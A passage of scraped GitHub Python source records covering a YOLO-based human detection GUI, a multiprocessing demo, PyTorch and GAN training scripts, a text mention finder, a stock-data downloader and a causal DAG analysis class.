tk.Text(windowv, height=1, width=37, font=(\"Arial\", 30), bg=\"light grey\", fg=\"black\", borderwidth=2,relief=\"solid\")\n        path_text2.place(x=80, y=260)\n\n        Button(windowv, text=\"SELECT\", command=open_vid, cursor=\"hand2\", font=(\"Arial\", 20), bg=\"light blue\", fg=\"black\").place(x=220, y=350)\n        Button(windowv, text=\"PREVIEW\", command=prev_vid, cursor=\"hand2\", font=(\"Arial\", 20), bg=\"light blue\", fg=\"black\").place(x=410, y=350)\n        Button(windowv, text=\"DETECT\", command=det_vid, cursor=\"hand2\", font=(\"Arial\", 20), bg=\"light blue\", fg=\"black\").place(x=620, y=350)\n\n        info1 = tk.Label(windowv, font=(\"Arial\", 30), fg=\"gray\")  # same way bg\n        info1.place(x=100, y=440)\n        # info2 = tk.Label(windowv, font=(\"Arial\", 30), fg=\"gray\")  # same way bg\n        # info2.place(x=100, y=500)\n\n        #function defined to exit from windowv section\n        def exit_winv():\n            if mbox.askokcancel(\"Exit\", \"Do you want to exit?\", parent = windowv):\n                windowv.destroy()\n        windowv.protocol(\"WM_DELETE_WINDOW\", exit_winv)\n        \n\n        # ---------------------------- camera section ------------------------------------------------------------\n    def camera_option():\n        # new window created for camera section\n        windowc = tk.Tk()\n        windowc.title(\"Human Detection from Camera\")\n        windowc.iconbitmap('Images/icon.ico')\n        windowc.geometry('1000x700')\n\n        # function defined to open the camera\n        def open_cam():\n            args = argsParser()\n\n            info1.config(text=\"Status : Opening Camera...\")\n            # info2.config(text=\"                                                  \")\n            mbox.showinfo(\"Status\", \"Opening Camera...Please Wait...\", parent=windowc)\n            # time.sleep(1)\n\n            writer = None\n            if args['output'] is not None:\n                writer = cv2.VideoWriter(args['output'], cv2.VideoWriter_fourcc(*'MJPG'), 10, (600, 600))\n            if True:\n                detectByCamera(writer)\n\n        # function defined to detect from camera\n        def detectByCamera(writer):\n            video = cv2.VideoCapture(0)\n\n            NMS_THRESHOLD=0.3\n            MIN_CONFIDENCE=0.2\n\n            def pedestrian_detection(image, model, layer_name,personidz=0):\n                (H, W) = image.shape[:2]\n                results = []\n\n                blob = cv2.dnn.blobFromImage(image, 1 / 255.0, (416, 416),\n                                             swapRB=True, crop=False)\n                model.setInput(blob)\n                layerOutputs = model.forward(layer_name)\n\n                boxes = []\n                centroids = []\n                confidences = []\n\n                for output in layerOutputs:\n                    for detection in output:\n\n                        scores = detection[5:]\n                        classID = np.argmax(scores)\n                        confidence = scores[classID]\n\n                        if classID == personidz and confidence > MIN_CONFIDENCE:\n\n                            box = detection[0:4] * np.array([W, H, W, H])\n                            (centerX, centerY, width, height) = box.astype(\"int\")\n\n                            x = int(centerX - (width / 2))\n                            y = int(centerY - (height / 2))\n\n                            boxes.append([x, y, int(width), int(height)])\n                            centroids.append((centerX, centerY))\n                            confidences.append(float(confidence))\n                # apply non-maxima suppression to suppress weak, overlapping\n                # bounding boxes\n                idzs = cv2.dnn.NMSBoxes(boxes, confidences, MIN_CONFIDENCE, NMS_THRESHOLD)\n                # ensure at least one detection exists\n                if len(idzs) > 0:\n                    # loop over the indexes we are keeping\n                    for i in idzs.flatten():\n                        # extract the bounding box coordinates\n                        (x, y) = (boxes[i][0], boxes[i][1])\n                        (w, h) = (boxes[i][2], boxes[i][3])\n                        # update our results list to consist of the person\n                        # prediction probability, bounding box coordinates,\n                        # and the centroid\n                        res = (confidences[i], (x, y, x + w, y + h), centroids[i])\n                        results.append(res)\n\n                #return the list of results\n                return results\n\n            labelsPath = \"coco.names\"\n            LABELS = open(labelsPath).read().strip().split(\"\\n\")\n\n            weights_path = \"yolov4-tiny.weights\"\n            config_path = \"yolov4-tiny.cfg\"\n\n            model = cv2.dnn.readNetFromDarknet(config_path, weights_path)\n            '''\n            model.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n            model.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n            '''\n\n            layer_name = model.getLayerNames()\n            layer_name = [layer_name[i - 1] for i in model.getUnconnectedOutLayers()]\n\n            video = cv2.VideoCapture(0)\n            writer = None\n\n            while True:\n                (grabbed, image) = video.read()\n\n                if not grabbed:\n                    break\n\n                image = imutils.resize(image, width=700)\n                results = pedestrian_detection(image, model, layer_name,\n                                               personidz=LABELS.index(\"person\"))\n                person=1\n                a=0\n\n                for res in results:\n                    cv2.rectangle(image, (res[1][0],res[1][1]), (res[1][2],res[1][3]), (0, 255, 0), 2)\n                    cv2.putText(image, f'person {person}', (res[1][0],res[1][1]), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,255), 1)\n                    person+= 1\n                cv2.putText(image, 'Status : Detecting ', (40,40), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n                cv2.putText(image, f'Total Persons : {person-1}', (40,70), cv2.FONT_HERSHEY_DUPLEX, 0.8, (255,0,0), 2)\n                cv2.imshow(\"Human Detection from WEb cam\",image)\n                a+=person-1\n                #print(a)\n                key = cv2.waitKey(1)\n\n                if key & 0xFF == ord('q'):\n                    break\n            mbox.showinfo(\"TOTAL PERSONS:\",a,parent=windowc)\n            video.release()\n            info1.config(text=\"                                                  \")\n            # info2.config(text=\"                                                  \")\n            if a>20:\n                mbox.showinfo(\"Status\",'Max. Human Detected is greater than MAX LIMIT.\\n Region is Crowded.',parent=windowc)\n            else:\n                mbox.showinfo(\"Status\",\"Max. Human Detected is in range of MAX LIMIT.\\nRegion is not Crowded.\",parent=windowc)\n            info1.config(text=\"Status : Detection & Counting Completed\")\n            # info2.config(text=\"Max. Human Count : \" + str(max_count2))\n            cv2.destroyAllWindows()\n            \n        #for camera-------------------------------------------------\n        lbl1 = tk.Label(windowc, text=\"DETECT  FROM CAMERA\", font=(\"Footlight MT Light\", 50, \"underline\"), fg=\"black\")  # same way bg\n        lbl1.place(x=180, y=20)\n\n        Button(windowc, text=\"OPEN CAMERA\", command=open_cam, cursor=\"hand2\", font=(\"Arial\", 20), bg=\"light blue\", fg=\"black\").place(x=370, y=200)\n\n        info1 = tk.Label(windowc, font=(\"Arial\", 30), fg=\"gray\")  # same way bg\n        info1.place(x=100, y=330)\n        # info2 = tk.Label(windowc, font=(\"Arial\", 30), fg=\"gray\")  # same way bg\n        # info2.place(x=100, y=390)\n\n        # function defined to exit from the camera window\n        def exit_winc():\n            if mbox.askokcancel(\"Exit\", \"Do you want to exit?\", parent = windowc):\n                windowc.destroy()\n        windowc.protocol(\"WM_DELETE_WINDOW\", exit_winc)\n\n\n            # options -----------------------------\n    lbl1 = tk.Label(text=\"OPTIONS\", font=(\"Footlight MT Light\", 50, \"underline\"),fg=\"black\")  # same way bg\n    lbl1.place(x=340, y=20)\n\n    # image on the main window\n    pathi = \"Images/img1.png\"\n    imgi = ImageTk.PhotoImage(Image.open(pathi))\n    paneli = tk.Label(window1, image = imgi)\n    paneli.place(x = 90, y = 110)\n\n    # image on the main window\n    pathv = \"Images/img3.png\"\n    imgv = ImageTk.PhotoImage(Image.open(pathv))\n    panelv = tk.Label(window1, image = imgv)\n    panelv.place(x = 700, y = 260)# 720, 260\n\n    # image on the main window\n    pathc = \"Images/img2.png\"\n    imgc = ImageTk.PhotoImage(Image.open(pathc))\n    panelc = tk.Label(window1, image = imgc)\n    panelc.place(x = 90, y = 415)\n\n    # created button for all three option\n    Button(window1, text=\"DETECT  FROM  IMAGE➡ \",command=image_option, cursor=\"hand2\", font=(\"Arial\",30), bg = \"light blue\", fg = \"black\").place(x = 350, y = 150)\n    Button(window1, text=\"DETECT  FROM  VIDEO ➡\",command=video_option, cursor=\"hand2\", font=(\"Arial\", 30), bg = \"light blue\", fg = \"black\").place(x = 110, y = 300) #90, 300\n    Button(window1, text=\"DETECT  FROM  CAMERA ➡\",command=camera_option, cursor=\"hand2\", font=(\"Arial\", 30), bg = \"light blue\", fg = \"black\").place(x = 350, y = 450)\n\n    # function defined to exit from window1\n    def exit_win1():\n        if mbox.askokcancel(\"Exit\", \"Do you want to exit?\"):\n            window1.destroy()\n\n    # created exit button\n    Button(window1, text=\"❌ EXIT\",command=exit_win1,  cursor=\"hand2\", font=(\"Arial\", 25), bg = \"white\", fg = \"black\").place(x = 440, y = 600)\n\n    window1.protocol(\"WM_DELETE_WINDOW\", exit_win1)\n    window1.mainloop()\n","repo_name":"dhinesh-KM/detection-counting","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":23723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70312648650","text":"# multiProcessTest1.py\nfrom multiprocessing import Process\nimport os\n\ndef hello(name):\n    print(\"hello %s this is pid %s\"%(name,os.getpid()))\n\nif __name__ == '__main__':\n    print(\"this is main process pid = %s \"%os.getpid())\n    p = Process(target = hello,args=('bob',))\n    p.start()\n    p.join()\n    print(\"child finished,this is main process pid = %s\"%os.getpid())","repo_name":"aweng126/python","sub_path":"multiProcessTest1.py","file_name":"multiProcessTest1.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74163426247","text":"import copy\nimport multiprocessing\nimport os\n# import pickle\nimport time\n\nimport torch\nimport torch.multiprocessing\nimport torch.nn as nn\n# from collections import Counter\nfrom PIL import ImageFile\nfrom torch.optim import lr_scheduler\n\nimport models\nfrom config import get_config\nfrom data import build_loader\nfrom optimizer import build_optimizer\nfrom parse_args import parse_args\n\nif torch.cuda.is_available():\n    from torch.cuda.amp import autocast as autocast, GradScaler\n\n    scaler = GradScaler()\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n# Assuming you want to sample 10% of the dataset, the ratio should be 0.1\nsampling_ratio = 1\n\ndata_dir = './dataset'\nmodels_dir = './modelzoo'\nmodel_name = 'metafg-2-384'\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef max_index_file(directory, prefix, suffix):\n    max_index = -1\n    max_file = None\n\n    for filename in os.listdir(directory):\n        if filename.startswith(prefix) and filename.endswith(suffix):\n            # 提取索引部分\n            index_str = filename[len(prefix) + 1: -len(suffix) - 1]\n            try:\n                index = int(index_str)\n                if index > max_index:\n                    max_index = index\n                    max_file = os.path.join(directory, filename)\n            except ValueError:\n                continue\n\n    return max_index, max_file\n\n\ndef train_model(_model, _dataloaders, _criterion, _optimizer, _scheduler, _num_epochs=25):\n    since = time.time()\n\n    best_acc = 0.0\n    best_model_wts = copy.deepcopy(_model.state_dict())\n\n    for epoch in range(_num_epochs):\n        print('-' * 10)\n        print('Epoch {}/{}'.format(epoch, _num_epochs - 1))\n\n        # load best model weights\n        # _model.load_state_dict(best_model_wts)\n\n        for phase in ['train', 'val']:\n            if phase == 'train':\n                _model.train()  # Set model to training mode\n            else:\n                _model.eval()  # Set model to evaluate mode\n\n            running_loss = 0.0\n            running_corrects = 0\n\n            # Iterate over data.\n            for inputs, labels in _dataloaders[phase]:\n                inputs = inputs.to(device)\n                labels = labels.to(device)\n\n                # zero the parameter gradients\n                _optimizer.zero_grad()\n\n                # forward\n                # track history if only in train\n                with torch.set_grad_enabled(phase == 'train'):\n                    # compute output\n                    if torch.cuda.is_available():\n                        with autocast():\n                            outputs = _model(inputs)\n                            _, preds = torch.max(outputs, 1)\n                            loss = _criterion(outputs, labels)\n                        if phase == 'train':\n                            # Scales loss. 为了梯度放大.\n                            scaler.scale(loss).backward()\n\n                            # scaler.step() 首先把梯度的值unscale回来.\n                            # 如果梯度的值不是 infs 或者 NaNs, 那么调用optimizer.step()来���新权重,\n                            # 否则，忽略step调用，从而保证权重不更新（不被破坏）\n                            scaler.step(_optimizer)\n\n                            # 准备着，看是否要增大scaler\n                            scaler.update()\n                    else:\n                        outputs = _model(inputs)\n                        _, preds = torch.max(outputs, 1)\n                        loss = _criterion(outputs, labels)\n                        # backward + optimize only if in training phase\n                        if phase == 'train':\n                            loss.backward()\n                            _optimizer.step()\n\n                # statistics\n                running_loss += loss.item() * inputs.size(0)\n                running_corrects += torch.sum(preds == labels.data)\n\n            epoch_loss = (running_loss / dataset_sizes[phase]) / sampling_ratio\n            epoch_acc = (running_corrects.double() / dataset_sizes[phase]) / sampling_ratio\n\n            if phase == 'train':\n                _scheduler.step(epoch_acc)\n\n            print('{} Loss: {:.4f} Acc: {:.4f}'.format(phase, epoch_loss, epoch_acc))\n\n            # deep copy the model\n            if phase == 'val' and epoch_acc > best_acc:\n                best_acc = epoch_acc\n                best_model_wts = copy.deepcopy(_model.state_dict())\n                torch.save(_model.state_dict(), os.path.join(models_dir, f'{model_name}_temp.pth'))\n\n    time_elapsed = time.time() - since\n    print('Training complete in {:.0f}m {:.0f}s'.format(\n        time_elapsed // 60, time_elapsed % 60))\n    print('Best val Acc: {:4f}'.format(best_acc))\n\n    # load best model weights\n    _model.load_state_dict(best_model_wts)\n    return _model\n\n\ndef save_model(_model: nn.Module, _models_dir: str, name: str):\n    max_index, _ = max_index_file(_models_dir, name, 'pth')\n    torch.save(_model.state_dict(), os.path.join(_models_dir, f'{name}_{max_index + 1}.pth'))\n\n\nif __name__ == '__main__':\n    args = parse_args()\n    args.cfg = 'configs/MetaFG_2_384.yaml'\n    if args.num_workers is None:\n        args.num_workers = multiprocessing.cpu_count()\n\n    config = get_config(args)\n    sampling_ratio = config.SAMPLING_RATIO\n\n    torch.multiprocessing.set_sharing_strategy('file_system')\n\n    dataset_train, dataset_val, data_loader_train, data_loader_val, mixup_fn = build_loader(config)\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n    image_datasets = {'train': dataset_train, 'val': dataset_val}\n\n    dataloaders = {'train': data_loader_train, 'val': data_loader_val}\n\n    dataset_sizes = {x: len(image_datasets[x]) for x in ['train', 'val']}\n    class_names = image_datasets['train'].classes\n\n    # 使用模型\n    model = models.build_model(config)\n    _, max_file = max_index_file(models_dir, model_name, 'pth')\n    if max_file is not None:\n        model.load_state_dict(torch.load(max_file, map_location=device))\n\n    model = model.to(device)\n\n    criterion = nn.CrossEntropyLoss()\n\n    # 优化器\n    # Observe that only parameters of final layer are being optimized as\n    # opposed to before.\n    optimizer = build_optimizer(config, model)\n\n    # 学习率调整策略\n    scheduler = lr_scheduler.ReduceLROnPlateau(\n        optimizer, \"max\", factor=0.1, patience=3, verbose=True, threshold=5e-3, threshold_mode=\"abs\")\n\n    model = train_model(model, dataloaders, criterion, optimizer, scheduler, _num_epochs=config.TRAIN.EPOCHS)\n    save_model(model, models_dir, model_name)\n","repo_name":"sun-jiao/dqs_MetaFormer","sub_path":"simple_train.py","file_name":"simple_train.py","file_ext":"py","file_size_in_byte":6641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72351583047","text":"import uuid\n\nfrom sqlalchemy.orm import relationship  # type: ignore\n\nfrom src.recogniser.mer_recogniser import recognise_mer\nfrom src.recogniser.pattern_recogniser import MentionRegexRecogniser\nfrom src.classifier.gpt2 import GPT2\nfrom src.models import RecognitionResult, ModelType\nfrom settings import BASELINE_SOURCE\n\nBASELINE_RECOGNISER = MentionRegexRecogniser.from_file(BASELINE_SOURCE)\nGPT2_CLASSIFIER = GPT2()\n\n\ndef find_mention(\n    type_: ModelType, text: str, comment_id: str\n) -> list[RecognitionResult]:\n    \"\"\"Recognise mentions in a text.\n\n    :param type_: model type\n    :param text: text, that might hold mentions\n    :param comment_id: id of comment, that is related to text\n    \"\"\"\n    if type_ == ModelType.SPACY_MODEL_A:\n        results = recognise_mer(text, comment_id)\n    elif type_ == ModelType.PATTERN_BASELINE:\n        results = BASELINE_RECOGNISER(text, comment_id)\n    elif type_ == ModelType.GPT2:\n        got_mentions = GPT2_CLASSIFIER(text)\n        results = []\n        if got_mentions:\n            # Classification doesn't point to text position but classifies the whole text.\n            # We add a dummy text position to fit to allow the result format to fit recognition and classification\n            results.append({\"start\": -1, \"offset\": 0, \"body\": text, \"label\": \"MENTION\"})\n    else:\n        raise NotImplementedError(f\"Model type '{type_.value}' is not implemented yet.\")\n\n    return [\n        RecognitionResult(\n            id=str(uuid.uuid4()),\n            comment_id=comment_id,\n            extracted_from=type_.value,\n            **result,\n        )\n        for result in results\n    ]\n\n\ndef includes_mentions(type_: ModelType, text: str, comment_id: str) -> bool:\n    \"\"\"True, if least one mention is included in the text, false otherwise.\n\n    :param type_: recognition type\n    :param text: text, that might hold mentions\n    :param comment_id: id of comment, that is related to text\n    \"\"\"\n    return True if find_mention(type_, text, comment_id) else False\n","repo_name":"br-data/wtwm-topic-modelling","sub_path":"src/finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"20524457994","text":"import os\n\nimport pandas as pd\nimport tushare\n\n\n#cn\ndef stockprice(ticker,folder):\n    # 1 get data online\n    data=tushare.get_hist_data(ticker,ktype='5')\n    data.sort_index(inplace=True)\n    # 2 if history exists append\n    path=folder+ticker+'.csv'\n    if os.path.exists(path):\n        historyd=pd.read_csv(path,index_col=0)#把哪一列当作index\n        data.append(historyd)\n    # 3 inverse based on index\n    # 4 save\n    data.to_csv(path)\n\n\ntickersRawData=tushare.get_stock_basics()\ntickers=tickersRawData.index.tolist()#交易代码\npath='../data/tickersrawdata.csv'\nif os.path.exists(path):\n    history=pd.read_csv(path)\n    tickersRawData.append(history)\ntickersRawData.to_csv(path)\n\n\nfor i,ticker in enumerate(tickers):\n    print(i,'/',len(tickers))\n    #time.sleep(2)\n    try:\n        stockprice(ticker,folder='../data/eachstock/')\n    except:\n        pass\n    '''\n    if i>2:\n        break\n    '''","repo_name":"reallyz/shiyanlouSratches","sub_path":"PYforMarket/code/0-1.py","file_name":"0-1.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35914485902","text":"from DAG import *\nfrom TruthBayesNet import *\nfrom GCF_calculator import *\nfrom itertools import product\nimport graphviz as gv\nfrom IPython.display import display, Image\nfrom PIL.Image import open as open_image\n\nedge_attr = \"[arrowhead=none,color=red]\"\n\n\nclass BlankCase:\n    \"\"\"\n    This is an abstract class. Subclasses of this class, such as Case1, \n    Case1_2, etc. are the frontend interfaces for running this app for a \n    particular usecase. BlankCase is much longer than its subclasses and \n    does all the common heavylifting work, whereas its subclasses like Case1 \n    are designed to be as lean as possible, and only do work that is ultra \n    usecase specific. \n\n    The constructor of this class, and also the constructor of its\n    subclasses, requires as input 'dot_file_path' and 'emp_probs'.\n\n    'dot_file_path' is the path to a dot file located in the folder\n    'dot_atlas'. A dot file is a text file in the dot language that\n    specifies a graph (i.e., network). A dot file or dot string is used as\n    input for the graphviz rendering engine.\n\n    'emp_probs' are the empirical probabilities. A value for 'emp_probs' is \n    an optional input for the constructor of this class. If a value for \n    'emp_probs' isn't provided by the user, a random one will be \n    generated/simulated by the class TruthBayesNet. Class TruthBayesNet is \n    called that because it generates a Bayesian Network (bnet) that \n    represents \"the truth\", and uses that bnet to simulate the empirical \n    probabilities. \n \n    Attributes\n    ----------\n    dag_list: list[DAG]\n    dag_to_link_directions: dict[DAG, list[str]]\n    emp_probs: list[dict, dict]\n        empirical probabilities. More specifically, emp_probs equals\n        [node_name_to_probs, link_to_ampu_probs]\n\n        'node_name_to_probs' dict[str, np.array] is a dictionary that\n        maps each node name like 'a' to its probability 1-dim numpy array\n        like P(a).\n\n        'link_to_ampu_probs' dict[tuple[str, str], [np.array, np.array]]\n        is a dictionary that maps a link to its amputated probabilities,\n        which are 2 numpy arrays P(a|do(b)) and P(b|do( a)) for a link (\n        'a', 'b').\n    gcf_calculator: GCF_calculator\n    links: tuple[str, str]\n    pdir_dot: str\n    truth_bnet: TruthBayesNet\n\n    \"\"\"\n\n    def __init__(self, dot_file_path, emp_probs=None):\n        \"\"\"\n\n        Parameters\n        ----------\n        dot_file_path: str\n            path to dot file in 'dot_atlas' folder\n        emp_probs: list[dict, dict]\n            empirical probabilities. More specifically, emp_probs equals\n            [node_name_to_probs, link_to_ampu_probs]\n\n            'node_name_to_probs' dict[str, np.array] is a dictionary that\n            maps each node name like 'a' to a probability 1-dim numpy array\n            like P(a).\n\n            'link_to_ampu_probs' dict[tuple[str, str], [np.array, np.array]]\n            is a dictionary that maps a link to its amputated probabilities,\n            which are 2 numpy arrays P(a|do(b)) and P(b|do( a)) for a link (\n            'a', 'b').\n\n        \"\"\"\n        self.pdir_dot = BlankCase.get_pdir_dot(dot_file_path)\n        self.links = BlankCase.get_links(dot_file_path)\n        # print(\"werty\", self.links)\n        self.dag_list, self.dag_to_link_directions = \\\n            BlankCase.get_dag_list(self.pdir_dot, self.links)\n\n        self.emp_probs = emp_probs\n        # not used if emp_probs is not None\n        self.truth_bnet = None\n        if emp_probs is None:\n            self.truth_bnet = self.get_truth_bnet()\n            self.emp_probs = self.truth_bnet.emp_probs\n\n        self.gcf_calculator = \\\n            GCF_calculator(self.emp_probs,\n                           self.links,\n                           self.dag_list,\n                           self.dag_to_link_directions)\n\n    def get_truth_bnet(self):\n        \"\"\"\n        This method returns a truth BayesNet which simulates the empirical\n        probabilities.\n\n        Returns\n        -------\n        TruthBayesNet\n\n        \"\"\"\n        assert False\n\n    @staticmethod\n    def get_pdir_dot(dot_file_path):\n        \"\"\"\n        This method simply reads a file located at 'dot_file_path' and\n        returns its content string. The content string is expected to be a\n        dot string specifying a partially directed (pdir) graph.\n\n        Parameters\n        ----------\n        dot_file_path: str\n\n        Returns\n        -------\n        str\n\n        \"\"\"\n        with open(dot_file_path, \"r\") as f:\n            pdir_dot = f.read()\n        return pdir_dot\n\n    @staticmethod\n    def get_links(dot_file_path):\n        \"\"\"\n        In this app, a link is an undirected edge of a graph (i.e.,\n        network), specified as a tuple of two strings that are the names of\n        the two nodes that the link connects; for instance, ('a', 'b') is a\n        link between nodes 'a' and 'b'.\n\n        This method reads a dot file located at 'dot_file_path'. That dot\n        file is expected to specify a partially directed graph, which is a\n        graph with both directed and undirected (links) edges. This method\n        returns a list of the links it finds in the dot file it reads.\n\n        Parameters\n        ----------\n        dot_file_path: str\n\n        Returns\n        -------\n        list[tuple[str,str]]\n\n        \"\"\"\n        links = []\n        with open(dot_file_path) as f:\n            in_lines = f.readlines()\n        for line in in_lines:\n            if edge_attr in line:\n                line = line.replace(edge_attr, \"\")\n                line = line.replace(\";\", \"\")\n                split_list = line.split(sep=\"->\")\n                nd_0 = split_list[0].strip()\n                nd_1 = split_list[1].strip()\n                # links must be tuples\n                # They can't be lists because they will be\n                # used as keys to dictionaries\n                links.append((nd_0, nd_1))\n        return links\n\n    @staticmethod\n    def get_dag_list(pdir_dot, links):\n        \"\"\"\n        This method returns a list of instances of the class DAG. These DAGs\n        (directed acyclic graphs) are constructed by giving a direction,\n        in all possible ways, to the undirected edges (links) in a partially\n        directed (pdir) graph. This pdir graph is described by the dot\n        string 'pdir_dot', which has links 'links'.\n\n        Parameters\n        ----------\n        pdir_dot: str\n        links: list[tuple[str,str]]\n\n        Returns\n        -------\n        list[DAG]\n\n        \"\"\"\n        def get_no_attr_dag_dot(pdir_dot, links, dir_links):\n            \"\"\"\n            This internal method returns a dot string with no undirected\n            edges and no edge attributes. The output dot of this method is\n            obtained by stripping away the edge attribute edge_attr = \"[\n            arrowhead=none, color=red]\" from every line in pdir_do where it\n            occurs, and then replacing the formerly undirected edge by a\n            directed one that is stipulated by dir_links.\n\n\n            Parameters\n            ----------\n            pdir_dot: str\n            links: list[tuple[str, str]]\n                for example, [('a', 'b'), ('b', 'c')]\n            dir_links: list[str]\n                for example, [\"a->b\", \"b->c\"]\n\n            Returns\n            -------\n            str\n\n            \"\"\"\n            x = pdir_dot\n            # print(\"yyyj1\", x)\n            # trim all empty space\n            x = x.replace(\" \", \"\")\n            # print(\"yyyj1.1\", x)\n            num_links = len(links)\n            for k in range(num_links):\n                old_str = links[k][0] + \"->\" + links[k][1] + edge_attr\n                new_str = dir_links[k]\n                x = x.replace(old_str, new_str)\n            # print(\"yyyj2\", x)\n\n            return x\n\n        dag_list = []\n        dag_to_link_directions = {}\n        dag_index = 0\n        for link_directions in product((\"0->1\", \"1->0\"), repeat=len(links)):\n            dag_index += 1\n            dir_links = []  # directed links\n            for k, link in enumerate(links):\n                # \"<-\" not valid in dot language\n                if link_directions[k] == \"0->1\":\n                    # link = (\"0\", \"1\")\n                    # link_direction == \"0->1\" if points to 1\n                    dir_links.append(link[0] + \"->\" + link[1])\n                else:\n                    dir_links.append(link[1] + \"->\" + link[0])\n            dag = DAG(\"G_\" + str(dag_index), \n                      get_no_attr_dag_dot(pdir_dot, links, dir_links))\n            dag_list.append(dag)\n            dag_to_link_directions[dag] = link_directions\n        # for dag in dag_list:\n        #     print(\"6667\", dag)\n        return dag_list, dag_to_link_directions\n\n    @staticmethod\n    def draw_dot(dot, jupyter):\n        \"\"\"\n        This method draws the dot file 'dot'.\n\n        Parameters\n        ----------\n        dot: str\n        jupyter: bool\n            Use jupyter=False if drawing to a console, and jupyter=True if\n            drawing to a jupyter notebook.\n\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        # using display(s) will draw the graph but will not embed it\n        # permanently in the notebook. To embed it permanently,\n        # must generate temporary image file and use Image().\n        # display(s)\n        s = gv.Source(dot)\n        x = s.render(\"tempo\", format='png', view=False)\n        if jupyter:\n            display(Image(x))\n        else:\n            open_image(\"tempo.png\").show()\n\n    def run(self, jupyter=False, draw=False):\n        \"\"\"\n        This method runs the whole app. It writes a lot of text as standard\n        output and draws a lot of DAGs using graphviz. It documents all the\n        stages required for calculating GCF (goodness of causal fit) for a\n        bunch of DAGs.\n\n        Parameters\n        ----------\n        jupyter: bool\n        draw: bool\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        if self.truth_bnet:\n            print(\"Truth bnet (used to simulate empirical probs):\")\n            if draw:\n                self.truth_bnet.gv_draw(jupyter)\n            print(self.truth_bnet)\n        print(\"Partially Directed graph G_pd:\")\n        print(self.pdir_dot)\n        if draw:\n            BlankCase.draw_dot(self.pdir_dot, jupyter)\n        print(\"DAGs for which GCF will be calculated\"\n              \" (non-maximal generation of G_pd)\")\n        for dag in self.dag_list:\n            print(dag)\n        if draw:\n            BlankCase.draw_dot(\n                DAG.get_dag_list_dot(self.dag_list),\n                jupyter)\n        print(\"\\nlink to heights:\")\n        self.gcf_calculator.print_heights_01()\n        print(\"\\nGCF for each dag:\")\n        self.gcf_calculator.print_GCFs()\n","repo_name":"rrtucci/DAG_Lie_Detector","sub_path":"BlankCase.py","file_name":"BlankCase.py","file_ext":"py","file_size_in_byte":10741,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"31249095168","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 2023/5/26\n\n@author: YANG\n\nThis a template code for the implement of GAN based on tensorflow 2.8.0\n\ntest dataset is TEP fault dataset. train dataset is TEP normal dataset\n\n\"\"\"\n\nimport os\nos.environ['TF_ENABLE_COND_V2'] = '1'\nimport numpy as np\nfrom ganormal import Ganormal\nfrom options import get_config\nfrom tqdm import tqdm\nfrom dataset import dataload, get_batch\n\nimport tensorflow.compat.v1 as tf\ntf.get_logger().setLevel('ERROR')\ntf.disable_v2_behavior()\n\n\nif __name__ == \"__main__\":\n    ''' 0. prepare data '''\n\n    ''' training takes only normal dataset, and every dataset through serialization processing\n        resize the samples into 8*40*52 size in order to fit the model input\n    '''\n\n    ''' 1. train model '''\n    sess = tf.Session()\n    opts = get_config()\n    model = Ganormal(sess, opts)\n\n    x_train, _ = dataload(is_train=True, opts=opts)\n    ''' \n    strat training\n    '''    \n    auc_all = []\n    for i in range(opts.iteration):\n        loss_train_all = []\n        loss_test_all = []\n        real_losses = []\n        fake_losses = []\n        enco_losses = []\n        ''' shuffle data in each epoch'''\n        # permutated_indexes = np.random.permutation(x_train.shape[0])\n        ''' decay the learning rate. we dont do that in tensorflow way because it\n        is more easier to fine-tuning'''\n        for batch_idx in tqdm(range(int(x_train.shape[0] / opts.batch_size))):\n            batch_x, batch_y = get_batch(x_train, opts.batch_size, batch_idx)\n\n            z, loss, al, cl, el = model.train(batch_x)\n            # print(loss, al, cl, el)\n            loss_train_all.append(loss)\n            real_losses.append(al)\n            fake_losses.append(cl)\n            enco_losses.append(el)\n        print(\"iter {:>6d} :{:.4f} a:{:.4f} c {:.4f} e{:.4f}\".format(i+1, np.mean(loss_train_all),\n                                                  np.mean(real_losses),\n                                                  np.mean(fake_losses),\n                                                  np.mean(enco_losses)))\n        '''save the model'''\n        if (i+1) % 10 ==0:\n            model.save(opts.ckpt_dir)\n\n","repo_name":"WenyouDu/FD-Dynamic-System","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
